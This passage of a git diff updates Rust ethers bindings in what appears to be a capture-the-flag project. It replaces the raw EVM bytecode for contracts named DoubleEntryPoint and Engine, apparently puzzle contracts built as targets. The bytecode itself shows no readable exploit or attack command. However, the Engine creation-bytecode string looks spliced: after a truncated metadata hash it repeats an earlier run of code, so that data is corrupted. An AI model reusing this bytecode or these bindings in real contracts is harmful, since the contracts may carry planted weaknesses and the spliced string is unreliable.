\x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[a\x07\x1Ca\n\xCFV[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x07\x81W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04!V[a\x07\x8A\x81a\x0B)V[PV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x07\xEFW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`$\x80\x82\x01R\x7FERC20: approve from the zero add`D\x82\x01Rcress`\xE0\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\x08PW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\"`$\x82\x01R\x7FERC20: approve to the zero addre`D\x82\x01Rass`\xF0\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 \x94\x87\x16\x80\x84R\x94\x82R\x91\x82\x90 \x85\x90U\x90Q\x84\x81R\x7F\x8C[\xE1\xE5\xEB\xEC}[\xD1OqB}\x1E\x84\xF3\xDD\x03\x14\xC0\xF7\xB2)\x1E[ \n\xC8\xC7\xC3\xB9%\x91\x01`@Q\x80\x91\x03\x90\xA3PPPV[`\0a\x08\xBD\x84\x84a\x06\xE9V[\x90P`\0\x19\x81\x14a\t%W\x81\x81\x10\x15a\t\x18W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1D`$\x82\x01R\x7FERC20: insufficient allowance\0\0\0`D\x82\x01R`d\x01a\x04!V[a\t%\x84\x84\x84\x84\x03a\x07\x8DV[PPPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\t\x8FW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: transfer from the zero ad`D\x82\x01Rddress`\xD8\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\t\xF1W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\niW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\t%V[`\x05T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x03\xC1W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R`d\x01a\x04!V[`\x05\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x90\x93U`@Q\x91\x16\x91\x90\x82\x90\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x90`\0\x90\xA3PPV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x0B\xA8W\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x0B\x8CV[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\x8AW`\0\x80\xFD[`\0\x80`@\x83\x85\x03\x12\x15a\x0B\xF1W`\0\x80\xFD[\x825a\x0B\xFC\x81a\x0B\xC9V[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x0C\x1FW`\0\x80\xFD[\x835a\x0C*\x81a\x0B\xC9V[\x92P` \x84\x015a\x0C:\x81a\x0B\xC9V[\x92\x95\x92\x94PPP`@\x91\x90\x91\x015\x90V[`\0` \x82\x84\x03\x12\x15a\x0C]W`\0\x80\xFD[\x815a\x0Ch\x81a\x0B\xC9V[\x93\x92PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x0C\x84W`\0\x80\xFD[\x835a\x0C\x8F\x81a\x0B\xC9V[\x92P` \x84\x015\x91P`@\x84\x015a\x0C\xA6\x81a\x0B\xC9V[\x80\x91PP\x92P\x92P\x92V[`\0\x80`@\x83\x85\x03\x12\x15a\x0C\xC4W`\0\x80\xFD[\x825a\x0C\xCF\x81a\x0B\xC9V[\x91P` \x83\x015a\x0C\xDF\x81a\x0B\xC9V[\x80\x91PP\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x0C\xFEW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\r\x1EWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x03cWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0` \x82\x84\x03\x12\x15a\rWW`\0\x80\xFD[\x81Qa\x0Ch\x81a\x0B\xC9V[`\0` \x82\x84\x03\x12\x15a\rtW`\0\x80\xFD[PQ\x91\x90PV[`\x01`\x01`\xA0\x1B\x03\x84\x16\x81R`@` \x82\x01\x81\x90R\x81\x01\x82\x90R\x81\x83``\x83\x017`\0\x81\x83\x01``\x90\x81\x01\x91\x90\x91R`\x1F\x90\x92\x01`\x1F\x19\x16\x01\x01\x92\x91PPV\xFE\xA2dipfsX\"\x12 up\x08\x05\xFB^\xC3\xD0Dq\xF1Q\xBD`\x93\xF1-\xCC\xF5\xA9\x12\x81$Nj\x90I;B\xF0\xF9SdsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x01!W`\x005`\xE0\x1C\x80cqP\x18\xA6\x11a\0\xADW\x80c\xA9\x05\x9C\xBB\x11a\0qW\x80c\xA9\x05\x9C\xBB\x14a\x02^W\x80c\xD4D\xD8\xA0\x14a\x02qW\x80c\xD8g\x0E\x1F\x14a\x02\x84W\x80c\xDDb\xED>\x14a\x02\x97W\x80c\xF2\xFD\xE3\x8B\x14a\x02\xAAW`\0\x80\xFD[\x80cqP\x18\xA6\x14a\x02\x15W\x80c\x8D\xA5\xCB[\x14a\x02\x1FW\x80c\x95\xD8\x9BA\x14a\x020W\x80c\x9C\xD1\xA1!\x14a\x028W\x80c\xA4W\xC2\xD7\x14a\x02KW`\0\x80\xFD[\x80c&\xFE\x99Q\x11a\0\xF4W\x80c&\xFE\x99Q\x14a\x01\x8CW\x80c1<\xE5g\x14a\x01\xB7W\x80c9P\x93Q\x14a\x01\xC6W\x80cH\xDB_\x89\x14a\x01\xD9W\x80cp\xA0\x821\x14a\x01\xECW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\x01&W\x80c\t^\xA7\xB3\x14a\x01DW\x80c\x18\x16\r\xDD\x14a\x01gW\x80c#\xB8r\xDD\x14a\x01yW[`\0\x80\xFD[a\x01.a\x02\xBDV[`@Qa\x01;\x91\x90a\x0B{V[`@Q\x80\x91\x03\x90\xF3[a\x01Wa\x01R6`\x04a\x0B\xDEV[a\x03OV[`@Q\x90\x15\x15\x81R` \x01a\x01;V[`\x02T[`@Q\x90\x81R` \x01a\x01;V[a\x01Wa\x01\x876`\x04a\x0C\nV[a\x03iV[`\x08Ta\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\x01;V[`@Q`\x12\x81R` \x01a\x01;V[a\x01Wa\x01\xD46`\x04a\x0B\xDEV[a\x03\x8DV[`\x07Ta\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01ka\x01\xFA6`\x04a\x0CKV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\x02\x1Da\x03\xAFV[\0[`\x05T`\x01`\x01`\xA0\x1B\x03\x16a\x01\x9FV[a\x01.a\x03\xC3V[a\x01Wa\x02F6`\x04a\x0CoV[a\x03\xD2V[a\x01Wa\x02Y6`\x04a\x0B\xDEV[a\x06`V[a\x01Wa\x02l6`\x04a\x0B\xDEV[a\x06\xDBV[`\x06Ta\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\tTa\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01ka\x02\xA56`\x04a\x0C\xB1V[a\x06\xE9V[a\x02\x1Da\x02\xB86`\x04a\x0CKV[a\x07\x14V[```\x03\x80Ta\x02\xCC\x90a\x0C\xEAV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02\xF8\x90a\x0C\xEAV[\x80\x15a\x03EW\x80`\x1F\x10a\x03\x1AWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x03EV[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x03(W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x03]\x81\x85\x85a\x07\x8DV[`\x01\x91PP[\x92\x91PPV[`\x003a\x03w\x85\x82\x85a\x08\xB1V[a\x03\x82\x85\x85\x85a\t+V[P`\x01\x94\x93PPPPV[`\x003a\x03]\x81\x85\x85a\x03\xA0\x83\x83a\x06\xE9V[a\x03\xAA\x91\x90a\r$V[a\x07\x8DV[a\x03\xB7a\n\xCFV[a\x03\xC1`\0a\x0B)V[V[```\x04\x80Ta\x02\xCC\x90a\x0C\xEAV[`\x08T`\0\x90`\x01`\x01`\xA0\x1B\x03\x163\x14a\x04*W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x13`$\x82\x01Rr\x13\x9B\xDD\x08\x1B\x19Y\xD8X\xDEH\x18\xDB\xDB\x9D\x1C\x98X\xDD`j\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\tT`\x07T`@QcO\x08A\xE5`\xE1\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\x04\x82\x01R`\0\x92\x91\x90\x91\x16\x90c\x9E\x10\x83\xCA\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x04{W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x04\x9F\x91\x90a\rEV[`\tT`@Qc\x06\xE3\x81}`\xE5\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x80\x84\x16`\x04\x83\x01R\x92\x93P`\0\x92\x90\x91\x16\x90c\xDCp/\xA0\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x04\xEFW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\x13\x91\x90a\rbV[`\tT`\x07T`@Qc>\x87\xF4\xA3`\xE2\x1B\x81R\x92\x93P`\x01`\x01`\xA0\x1B\x03\x91\x82\x16\x92c\xFA\x1F\xD2\x8C\x92a\x05N\x92\x16\x90`\0\x906\x90`\x04\x01a\r{V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x05hW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x05|W=`\0\x80>=`\0\xFD[PPPPa\x05\x8B\x84\x87\x87a\t+V[`\tT`@Qc\x06\xE3\x81}`\xE5\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\x04\x83\x01R`\x01\x95P\x83\x92\x16\x90c\xDCp/\xA0\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x05\xD9W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\xFD\x91\x90a\rbV[\x11\x15a\x06WW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FAlert has been triggered, revert`D\x82\x01Rbing`\xE8\x1B`d\x82\x01R`\x84\x01a\x04!V[PP\x93\x92PPPV[`\x003\x81a\x06n\x82\x86a\x06\xE9V[\x90P\x83\x81\x10\x15a\x06\xCEW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01a\x04!V[a\x03\x82\x82\x86\x86\x84\x03a\x07\x8DV[`\x003a\x03]\x81\x85\x85a\t+V[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[a\x07\x1Ca\n\xCFV[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x07\x81W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04!V[a\x07\x8A\x81a\x0B)V[PV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x07\xEFW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`$\x80\x82\x01R\x7FERC20: approve from the zero add`D\x82\x01Rcress`\xE0\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\x08PW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\"`$\x82\x01R\x7FERC20: approve to the zero addre`D\x82\x01Rass`\xF0\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 \x94\x87\x16\x80\x84R\x94\x82R\x91\x82\x90 \x85\x90U\x90Q\x84\x81R\x7F\x8C[\xE1\xE5\xEB\xEC}[\xD1OqB}\x1E\x84\xF3\xDD\x03\x14\xC0\xF7\xB2)\x1E[ \n\xC8\xC7\xC3\xB9%\x91\x01`@Q\x80\x91\x03\x90\xA3PPPV[`\0a\x08\xBD\x84\x84a\x06\xE9V[\x90P`\0\x19\x81\x14a\t%W\x81\x81\x10\x15a\t\x18W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1D`$\x82\x01R\x7FERC20: insufficient allowance\0\0\0`D\x82\x01R`d\x01a\x04!V[a\t%\x84\x84\x84\x84\x03a\x07\x8DV[PPPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\t\x8FW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: transfer from the zero ad`D\x82\x01Rddress`\xD8\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\t\xF1W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\niW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\t%V[`\x05T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x03\xC1W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R`d\x01a\x04!V[`\x05\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x90\x93U`@Q\x91\x16\x91\x90\x82\x90\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x90`\0\x90\xA3PPV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x0B\xA8W\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x0B\x8CV[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\x8AW`\0\x80\xFD[`\0\x80`@\x83\x85\x03\x12\x15a\x0B\xF1W`\0\x80\xFD[\x825a\x0B\xFC\x81a\x0B\xC9V[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x0C\x1FW`\0\x80\xFD[\x835a\x0C*\x81a\x0B\xC9V[\x92P` \x84\x015a\x0C:\x81a\x0B\xC9V[\x92\x95\x92\x94PPP`@\x91\x90\x91\x015\x90V[`\0` \x82\x84\x03\x12\x15a\x0C]W`\0\x80\xFD[\x815a\x0Ch\x81a\x0B\xC9V[\x93\x92PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x0C\x84W`\0\x80\xFD[\x835a\x0C\x8F\x81a\x0B\xC9V[\x92P` \x84\x015\x91P`@\x84\x015a\x0C\xA6\x81a\x0B\xC9V[\x80\x91PP\x92P\x92P\x92V[`\0\x80`@\x83\x85\x03\x12\x15a\x0C\xC4W`\0\x80\xFD[\x825a\x0C\xCF\x81a\x0B\xC9V[\x91P` \x83\x015a\x0C\xDF\x81a\x0B\xC9V[\x80\x91PP\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x0C\xFEW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\r\x1EWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x03cWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0` \x82\x84\x03\x12\x15a\rWW`\0\x80\xFD[\x81Qa\x0Ch\x81a\x0B\xC9V[`\0` \x82\x84\x03\x12\x15a\rtW`\0\x80\xFD[PQ\x91\x90PV[`\x01`\x01`\xA0\x1B\x03\x84\x16\x81R`@` \x82\x01\x81\x90R\x81\x01\x82\x90R\x81\x83``\x83\x017`\0\x81\x83\x01``\x90\x81\x01\x91\x90\x91R`\x1F\x90\x92\x01`\x1F\x19\x16\x01\x01\x92\x91PPV\xFE\xA2dipfsX\"\x12 W\xA7U\xBD\x1D\x1E\xA4\xD3\xE2sP\xB3\xC8cw\n\xA4k\r#\xBA\xCA\x18\x95\xD8\xAA\xC4\xC1\x9E\x89\x87^dsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static DOUBLEENTRYPOINT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = diff --git a/ctf/src/abi/engine.rs b/ctf/src/abi/engine.rs index bb8fa4a..aada6aa 100644 --- a/ctf/src/abi/engine.rs +++ b/ctf/src/abi/engine.rs @@ -107,12 +107,12 @@ pub mod engine { pub static ENGINE_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x04\xD9\x80a\0 `\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0?W`\x005`\xE0\x1C\x80cO\x1E\xF2\x86\x14a\0DW\x80cVOmq\x14a\0\xFCW\x80c\x81)\xFC\x1C\x14a\x01#W\x80c\xAF&\x97E\x14a\x018W[`\0\x80\xFD[a\0\xFA`\x04\x806\x03`@\x81\x10\x15a\0ZW`\0\x80\xFD[`\x01`\x01`\xA0\x1B\x03\x825\x16\x91\x90\x81\x01\x90`@\x81\x01` \x82\x015d\x01\0\0\0\0\x81\x11\x15a\0\x85W`\0\x80\xFD[\x82\x01\x83` \x82\x01\x11\x15a\0\x97W`\0\x80\xFD[\x805\x90` \x01\x91\x84`\x01\x83\x02\x84\x01\x11d\x01\0\0\0\0\x83\x11\x17\x15a\0\xB9W`\0\x80\xFD[\x91\x90\x80\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x93\x92\x91\x90\x81\x81R` \x01\x83\x83\x80\x82\x847`\0\x92\x01\x91\x90\x91RP\x92\x95Pa\x01i\x94PPPPPV[\0[4\x80\x15a\x01\x08W`\0\x80\xFD[Pa\x01\x11a\x01\x7FV[`@\x80Q\x91\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[4\x80\x15a\x01/W`\0\x80\xFD[Pa\0\xFAa\x01\x85V[4\x80\x15a\x01DW`\0\x80\xFD[Pa\x01Ma\x02FV[`@\x80Q`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\x01qa\x02[V[a\x01{\x82\x82a\x02\xB2V[PPV[`\x01T\x81V[`\0Ta\x01\0\x90\x04`\xFF\x16\x80a\x01\x9EWPa\x01\x9Ea\x03\xACV[\x80a\x01\xACWP`\0T`\xFF\x16\x15[a\x01\xE7W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01\x80\x80` \x01\x82\x81\x03\x82R`.\x81R` \x01\x80a\x04I`.\x919`@\x01\x91PP`@Q\x80\x91\x03\x90\xFD[`\0Ta\x01\0\x90\x04`\xFF\x16\x15\x80\x15a\x02\x12W`\0\x80T`\xFF\x19a\xFF\0\x19\x90\x91\x16a\x01\0\x17\x16`\x01\x17\x90U[a\x03\xE8`\x01U`\0\x80Tb\x01\0\0`\x01`\xB0\x1B\x03\x19\x163b\x01\0\0\x02\x17\x90U\x80\x15a\x02CW`\0\x80Ta\xFF\0\x19\x16\x90U[PV[`\0Tb\x01\0\0\x90\x04`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0Tb\x01\0\0\x90\x04`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02\xB0W`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\r`$\x82\x01RlCan't upgrade`\x98\x1B`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[V[a\x02\xBB\x82a\x03\xBDV[\x80Q\x15a\x01{W`\0\x82`\x01`\x01`\xA0\x1B\x03\x16\x82`@Q\x80\x82\x80Q\x90` \x01\x90\x80\x83\x83[` \x83\x10a\x02\xFEW\x80Q\x82R`\x1F\x19\x90\x92\x01\x91` \x91\x82\x01\x91\x01a\x02\xDFV[`\x01\x83` \x03a\x01\0\n\x03\x80\x19\x82Q\x16\x81\x84Q\x16\x80\x82\x17\x85RPPPPPP\x90P\x01\x91PP`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\x03^W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x03cV[``\x91P[PP\x90P\x80a\x03\xA7W`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0B`$\x82\x01Rj\x10\xD8[\x1B\x08\x19\x98Z[\x19Y`\xAA\x1B`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[PPPV[`\0a\x03\xB70a\x04BV[\x15\x90P\x90V[a\x03\xC6\x81a\x04BV[a\x04\x01W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01\x80\x80` \x01\x82\x81\x03\x82R`-\x81R` \x01\x80a\x04w`-\x919`@\x01\x91PP`@Q\x80\x91\x03\x90\xFD[\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBC\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[;\x15\x15\x90V\xFEInitializable: contract is already initializedERC1967: new implementation is not a contract\xA2dipfsX\"\x12 (\xF5\x8D\x9Db\xDA\xCA\x94\xCEhD\xB4\xC7=7s\xFA\xE3\x14C}\xA3g\x0E*\x06\x9B\xCA\"\x80\xB9a\x03cV[``\x91P[PP\x90P\x80a\x03\xA7W`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0B`$\x82\x01Rj\x10\xD8[\x1B\x08\x19\x98Z[\x19Y`\xAA\x1B`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[PPPV[`\0a\x03\xB70a\x04BV[\x15\x90P\x90V[a\x03\xC6\x81a\x04BV[a\x04\x01W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01\x80\x80` \x01\x82\x81\x03\x82R`-\x81R` \x01\x80a\x04w`-\x919`@\x01\x91PP`@Q\x80\x91\x03\x90\xFD[\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBC\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[;\x15\x15\x90V\xFEInitializable: contract is already initializedERC1967: new implementation is not a contract\xA2dipfsX\"\x12 )\xAD\xB2i\xAF\x1E\xB7U\xB8p\xD0\xC1\xA2}Y~g\xAE{@i\xE4\xED\xD8\xE8\xF6\x10\xE7\xFA\xCD\x14\xD6dsolcC\0\x06\x0C\x003"; /// The bytecode of the contract. pub static ENGINE_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0?W`\x005`\xE0\x1C\x80cO\x1E\xF2\x86\x14a\0DW\x80cVOmq\x14a\0\xFCW\x80c\x81)\xFC\x1C\x14a\x01#W\x80c\xAF&\x97E\x14a\x018W[`\0\x80\xFD[a\0\xFA`\x04\x806\x03`@\x81\x10\x15a\0ZW`\0\x80\xFD[`\x01`\x01`\xA0\x1B\x03\x825\x16\x91\x90\x81\x01\x90`@\x81\x01` \x82\x015d\x01\0\0\0\0\x81\x11\x15a\0\x85W`\0\x80\xFD[\x82\x01\x83` \x82\x01\x11\x15a\0\x97W`\0\x80\xFD[\x805\x90` \x01\x91\x84`\x01\x83\x02\x84\x01\x11d\x01\0\0\0\0\x83\x11\x17\x15a\0\xB9W`\0\x80\xFD[\x91\x90\x80\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x93\x92\x91\x90\x81\x81R` \x01\x83\x83\x80\x82\x847`\0\x92\x01\x91\x90\x91RP\x92\x95Pa\x01i\x94PPPPPV[\0[4\x80\x15a\x01\x08W`\0\x80\xFD[Pa\x01\x11a\x01\x7FV[`@\x80Q\x91\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[4\x80\x15a\x01/W`\0\x80\xFD[Pa\0\xFAa\x01\x85V[4\x80\x15a\x01DW`\0\x80\xFD[Pa\x01Ma\x02FV[`@\x80Q`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\x01qa\x02[V[a\x01{\x82\x82a\x02\xB2V[PPV[`\x01T\x81V[`\0Ta\x01\0\x90\x04`\xFF\x16\x80a\x01\x9EWPa\x01\x9Ea\x03\xACV[\x80a\x01\xACWP`\0T`\xFF\x16\x15[a\x01\xE7W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01\x80\x80` \x01\x82\x81\x03\x82R`.\x81R` 